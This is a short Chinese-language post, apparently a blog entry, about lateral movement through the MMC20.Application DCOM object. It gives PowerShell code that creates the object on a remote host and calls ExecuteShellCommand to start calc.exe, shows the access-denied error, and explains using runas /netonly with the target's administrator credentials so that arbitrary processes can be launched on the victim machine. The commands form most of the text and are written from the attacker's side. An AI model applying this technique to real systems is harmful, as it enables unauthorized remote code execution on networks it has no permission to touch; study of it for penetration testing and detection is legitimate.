关于利用MMC20这个DCOM对象启动进程的方法,网上已经有不少文章了。
我在测试在远程目标机器上创建MMC20对象时,始终提示0x8007005错误
PS测试代码:
$com = [Activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","192.168.198.133"));
$com = Document.ActiveView.ExecuteShellCommand("C:\Windows\System32\Calc.exe","0","0","0")
在攻击者机器上打开powershell输入上面命令,提示没权限激活远程dcom对象
使用“1”个参数调用“CreateInstance”时发生异常:“从计算机 192.168.198.133 中在 COM 类工厂内检索 CLSID 为 {49B2791A-B1AE-4C90-9B8E-E860BA07F889} 的远程组件失败,原因是出现以下错误:
80070005 192.168.198.133。”
所在位置 行:1 字符: 1
+ $com = [Activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.A ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : NotSpecified: (:) [], MethodInvocationException
+ FullyQualifiedErrorId : UnauthorizedAccessException
虽然知道出错原因,需要在执行命令时,带入目标机器的管理员用户凭证;
最终通过runas命令解决了这个问题,具体步骤如下:
首先在攻击者机器上,打开cmd,输入以下命令:
runas /netonly /user:victim\administrator powershell
参数解释:
- victim为目标机器的电脑名称
- administrator为目标机器的管理员用户
然后根据提示输入目标机器administrator管理员用户的密码;
随后会在攻击者机器上弹出一个powershell窗口,这个powershell控制台默认是带了凭证的,在这个窗口执行前面的ps代码,就可以在目标机器上创建任意进程了;
参考资料:
- https://github.com/SecureAuthCorp/impacket/blob/master/examples/dcomexec.py
- http://talvinen.hatenablog.com/entry/2017/01/10/204132
- https://ptestmethod.readthedocs.io/en/latest/LFF-IPS-P3-Exploitation.html
- https://www.anquanke.com/post/id/215960
- https://www.blackhat.com/eu-18/briefings/schedule/#network-defender-archeology-an-nsm-case-study-in-lateral-movement-with-dcom-12534